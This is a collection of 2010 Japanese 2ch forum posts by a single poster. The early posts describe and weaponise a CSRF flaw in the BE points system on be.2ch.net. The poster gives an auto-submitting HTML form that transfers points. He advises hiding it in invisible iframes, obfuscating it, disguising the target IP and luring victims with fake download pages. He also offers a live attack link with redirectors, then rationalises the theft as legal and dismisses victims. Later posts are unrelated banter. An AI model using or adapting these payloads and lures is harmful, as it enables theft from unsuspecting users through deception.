- 【news】ニュース速報運用情報652【ν】
538 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 00:09:24 ID:lANXd+bO0 ?-2BP(0) - >>536
まだ待って
開くだけでポイントを全部空にするリンクを作るから
|
- 【news】ニュース速報運用情報652【ν】
561 ：動け動けウゴウゴ２ちゃんねる[]：2010/11/14(日) 01:29:13 ID:lANXd+bO0 - Naritaka◆YqQ1SVp8jVGl ★
beポイント:54723
登録日:2009-05-14
|
- 【news】ニュース速報運用情報652【ν】
572 ：動け動けウゴウゴ２ちゃんねる[]：2010/11/14(日) 01:48:08 ID:lANXd+bO0 - >>569
ポイントをあげるためのgivep.phpがリファラーをチェックしないという欠陥を抱えているため、
CSRFが可能な状態になっていた
簡単にまとめるとこういうこと
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=EUC-JP">
</head>
<body onLoad="document.forms[0].submit.click();">
<form action="http://be.2ch.net/test/givep.php" method="post">
<input name="message" value="メッセージ" type="hidden">
<input name="i" value="******" type="hidden">
<input name="d" value="d:" type="hidden">
<input name="submit" value="送付" type="submit">
<input name="hid" value="1" type="hidden">
<input name="amount" value="10000"type="hidden"></form>
</body>
</html>
|
- 【news】ニュース速報運用情報652【ν】
575 ：動け動けウゴウゴ２ちゃんねる[]：2010/11/14(日) 01:49:33 ID:lANXd+bO0 - 刺激的な釣り文句と一緒に依頼所にURLを忍ばせるようなことは絶対にやってはいけない
|
- 【news】ニュース速報運用情報652【ν】
615 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 09:31:22 ID:lANXd+bO0 ?-2BP(0) - 本気でやるなら当然CGIで任意に送信先BEを切り替えられるようにしなきゃダメだよ
あと、formのactionに指定するのはhttp://182.48.9.156/test/givep.phpとか、
あるいは182.48.9.156をAレコードに設定した任意のドメインとか、
be.2ch.netという表示を見せない方がいい
バーチャルドメインで運用はしていないからどんな方法でも大丈夫
一番手軽な方法は、
<iframe src="http://開くと送信リンク" height="0" width="0" frameborder="0"></iframe>
こんな感じのまったく見えないiframeを用意し、
開くと10000ポイント送信するリンクを10個、
1000ポイントを10個、100ポイントを10個、みたいな感じで用意する
それをJavaScriptなどで難読化してぱっと見ではわからないようにして、
複雑なHTMLページに埋め込む
5秒くらい開かせることが出来ればポイントを空にすることはできるから、
適当に5秒くらい開いてくれそうな文面を書いておく
<p>ダウンロード可能になるまで30秒ほどお待ちください。
<input type="button" value="ダウンロード開始" disabled = true>
たとえばこんな感じで
|
- 【news】ニュース速報運用情報652【ν】
616 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 09:36:58 ID:lANXd+bO0 ?-2BP(0) - >>602
document.forms[0].submit();
にしてたんじゃない？これだと失敗する
理由はここに書いてある
http://code-x.ddo.jp/node/36
|
- 【news】ニュース速報運用情報652【ν】
620 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 10:42:28 ID:lANXd+bO0 ?-2BP(0) - ごめんやっぱバーチャルホスト有効だったみたい
それとリンクできた
http://s-jis.name/send.cgi?message=test&target=*****
targetにはBEの?i=*****を指定する
こっちは実際にどんな感じになるのか確かめる用のリンク
http://s-jis.name/debug.cgi?message=test&target=*****
URLそのままだと怪しすぎるから転送リンクも用意しておいた
http://s-jis.name/up/index.cgi
|
- 【news】ニュース速報運用情報652【ν】
627 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 10:49:06 ID:lANXd+bO0 ?-2BP(0) - 使い方
例えば
http://be.2ch.net/test/p.php?i=578794098
に送信したい場合のリンクはこれ↓
http://s-jis.name/send.cgi?message=test&target=578794098
あとは転送リンク
http://s-jis.name/up/index.cgi
を使って
http://s-jis.name/up/test0010.zip.html
こんな感じのリンクに書き換える
これを開いたら勝手に送信される
|
- 【news】ニュース速報運用情報652【ν】
628 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 10:49:46 ID:lANXd+bO0 ?-2BP(0) - >>625
言われてみれば確かにそうだ
なんて初歩的なミス…
|
- 【news】ニュース速報運用情報652【ν】
629 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 10:50:51 ID:lANXd+bO0 ?-2BP(0) - send.cgiは本番用のリンク
debug.cgiは裏で何が行われているのか確かめるようのリンク
開けば意味が分かる
|
- 【news】ニュース速報運用情報652【ν】
630 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 10:55:26 ID:lANXd+bO0 ?-2BP(0) - URL転送リンクは同じのばかり使ってると怪しいから、
http://www.google.co.jp/search?q=intitle:%22URL%E8%BB%A2%E9%80%81%E3%80%81%E7%9F%AD%E7%B8%AE%22
こっからなるべく別のを持ってきた方がいい
あとmessage=testはBEメッセージのことだから、
もしtestが原因でURL転送に失敗したら適当に書き換えて問題ない
|
- 【news】ニュース速報運用情報652【ν】
719 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 13:21:32 ID:lANXd+bO0 ?-PLT(12000) - だからCGIにするのは嫌だったんだ…
Service Temporarily Unavailable
|
- 【news】ニュース速報運用情報652【ν】
726 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 13:23:47 ID:lANXd+bO0 - 自宅サーバーならこんな面倒なことは起きないのに
レン鯖は嫌いじゃ
|
- 【news】ニュース速報運用情報652【ν】
762 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 13:31:14 ID:lANXd+bO0 - >>752
URLを貼った時点では善良サイトだったかもしれないだろ
そんなの後になって言ってもダメだよ。現行犯じゃないと
|
- 【news】ニュース速報運用情報652【ν】
764 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 13:32:16 ID:lANXd+bO0 - URLの内容なんて随時変更されるんだから、
そんなもの後になってイチャモン付けてもダメだよ
|
- 【news】ニュース速報運用情報652【ν】
794 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 13:48:44 ID:lANXd+bO0 - >>786
訴えるも何も、今まで貼られたリンクは何の害もないリンクだから大丈夫だよ
ポイント持ってかれたとか言ってる奴はキチガイだから無視した方がいい
|
- 【news】ニュース速報運用情報652【ν】
810 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 13:56:56 ID:lANXd+bO0 - >>800
リンク貼っただけで逮捕されるわけないだろw
|
- 【news】ニュース速報運用情報652【ν】
826 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:00:22 ID:lANXd+bO0 - >>813
冷静に考えてね
この程度で訴えることができるのなら、
不当なsakuを理由に訴えることも可能だよ
そもそも削除人がsaku権利を持っているなんてことは
be.2ch.netのどこにも書いてないわけで、
削除人のsaku自体もある意味では不正なポイントの強奪なんだから
|
- 【news】ニュース速報運用情報652【ν】
837 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:04:04 ID:lANXd+bO0 - >>828
削除人が運営なんてことはbe.2ch.netのどこにも書いてないよ
逆に言えば今回のsakuが運営のものじゃないとどうして証明できる？
利用規約があるネトゲの場合は運営の定義も明確に定められているから
責任の所在があきらかだが、be.2ch.netは何の規約もないから
ポイントがどうなっても誰の責任にもならない
|
- 【news】ニュース速報運用情報652【ν】
846 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:06:03 ID:lANXd+bO0 - >>834
そういうことだよね
運営だから何やってもいいなんてことはないわけで
運営がやっていいのは、利用規約に定められている範囲内
それが契約なんだから
|
- 【news】ニュース速報運用情報652【ν】
859 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:08:49 ID:lANXd+bO0 - どうしてネトゲ会社がこんなに細かく利用規約を定義してるのか考えたことあるのか？
http://arad.hangame.co.jp/support.nhn?m=agreement
be.2ch.netには何も規約がないんだから、
運営・利用者ともに一切の責任が発生しないということ
ポイントの存在すら明日に無くなったとしても何の文句も言えない
|
- 【news】ニュース速報運用情報652【ν】
862 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:10:21 ID:lANXd+bO0 - >>850
ユーザー間で起きたという証拠は？
ネトゲのGMが違反監視のために通常アカウントで潜ることがあるように、
今回も実は運営のテストだったかもしれないよ
そしてそれが証明できない限り被害とは呼べないため、警察が動くことも困難
|
- 【news】ニュース速報運用情報652【ν】
876 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:15:57 ID:lANXd+bO0 - >>866
何をしてもいいわけじゃないけど、規約が無い限りポイントが財産と認められることもないから
ポイントを失効しても被害とは認められない
運営がbe.2ch.netの利用方法を明記していない以上、
CSRFなどの脆弱性を探してポイントを奪うゲームとして利用しても問題ない
CSRFそれ自体は不正アクセス禁止法には違反しないから、隠しページ探しと同じ
|
- 【news】ニュース速報運用情報652【ν】
883 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:19:38 ID:lANXd+bO0 - ポイントが財産として認められるなら、
スレ立てただけでsakuられること自体が認められないからね
そんなことは規約に書いてないわけで
規約に書いてないことを運営が行ったら当然罪に問われるよ
運営であってもアカウントにアクセスしてポイントを消すのは不正アクセス禁止法違反
それが免れるのは、規約でそれを行うことを明言していた場合のみ
|
- 【news】ニュース速報運用情報652【ν】
900 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:24:28 ID:lANXd+bO0 - >>892
矛盾してないよ
>>883は「ポイントが財産として認められるなら」という仮定の話で、
現実には規約に明言されていないsakuが認められているのだから、
つまりポイント自体に財産としての価値が認められていないということ
|
- 【news】ニュース速報運用情報652【ν】
908 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 14:29:30 ID:lANXd+bO0 - >>906
だったら今までの不当なポイントsakuについて訴えればいい
財産と認められているものを何の承諾もなく消したのだから、当然裁判にできる
|
- 【news】ニュース速報運用情報652【ν】
953 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 15:14:00 ID:lANXd+bO0 - 早く次スレ立ててくれ
IDが真っ赤で嫌じゃ
|
- 【news】ニュース速報運用情報653【ν】
58 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 19:02:16 ID:lANXd+bO0 - >>53
人間は種として高度な活動が出来るだけで、
個として見たら脆弱な生き物だよ
集まらなきゃ何もできない脆弱な生き物
ゆえに人それぞれを個として見た場合の能力差など取るに足らない
|
- 【news】ニュース速報運用情報653【ν】
68 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 19:18:55 ID:lANXd+bO0 - >>62
それは違うな
本当に労働や生殖が必要なら、それらは税のように法的義務が課される
しかし今は法的義務は課されていないので、つまりそれらは必要ではないということだ
|
- 【news】ニュース速報運用情報653【ν】
69 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 19:20:02 ID:lANXd+bO0 - >>65
やめろ
運用家族はニュー速を管理する者だ。甘やかすだけではいけない
|
- 【news】ニュース速報運用情報653【ν】
73 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 19:27:00 ID:lANXd+bO0 - >>71
種の活動って何？
人間には生まれたときから種の発展を優先する義務があるってか？
|
- 【news】ニュース速報運用情報653【ν】
143 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 22:44:33 ID:lANXd+bO0 - >>132
アプリ入れるしか能がない素人が情強気取ってるのがうぜえスレだな
おすすめのアプリをインストールするだけなら誰でもできるっつうの
>>138
IS03はやめろ
|
- 【news】ニュース速報運用情報653【ν】
149 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 22:57:41 ID:lANXd+bO0 - >>145
逆に聞きたいんだがIS03のどこが気に入ったんだ？
http://www5e.biglobe.ne.jp/~echelon/html/android_phone.html
|
- 【news】ニュース速報運用情報653【ν】
165 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:12:22 ID:lANXd+bO0 - >>156
デザインはともかくとして、性能的には残念なスマホだよ
>>163
元ネタ知らないでスレ立てちゃったか…
|
- 【news】ニュース速報運用情報653【ν】
176 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:22:02 ID:lANXd+bO0 - >>174
うらないさん、たまごさん、あひるさん、健太
|
- 【news】ニュース速報運用情報653【ν】
180 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:23:17 ID:lANXd+bO0 - >>175
たまちゃん
|
- 【news】ニュース速報運用情報653【ν】
186 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:25:36 ID:lANXd+bO0 - >>184
学生じゃないの？
雰囲気が大学生っぽい
|
- 【news】ニュース速報運用情報653【ν】
192 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:29:45 ID:lANXd+bO0 - >>190
運用にいるときは上から目線
VIPにいるときは下から目線
|
- 【news】ニュース速報運用情報653【ν】
196 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:31:48 ID:lANXd+bO0 - >>194
ポポポイントください
|
- 【news】ニュース速報運用情報653【ν】
199 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:35:49 ID:lANXd+bO0 - >>198
まあ最初から適当に書いてたからな
そもそも俺BIPでうらないさん見たことないし
|
- 【news】ニュース速報運用情報653【ν】
206 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:42:32 ID:lANXd+bO0 - >>202
いいこと言うじゃん
ふぁぼっといたよ
|
- 【news】ニュース速報運用情報653【ν】
209 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:47:37 ID:lANXd+bO0 - >>204
部屋の一部を晒せ
お前の人間性を見せてみろ
|
- 【news】ニュース速報運用情報653【ν】
216 ：動け動けウゴウゴ２ちゃんねる[sage]：2010/11/14(日) 23:55:54 ID:lANXd+bO0 - >>211
あなたのことがもっと知りたいの♥
|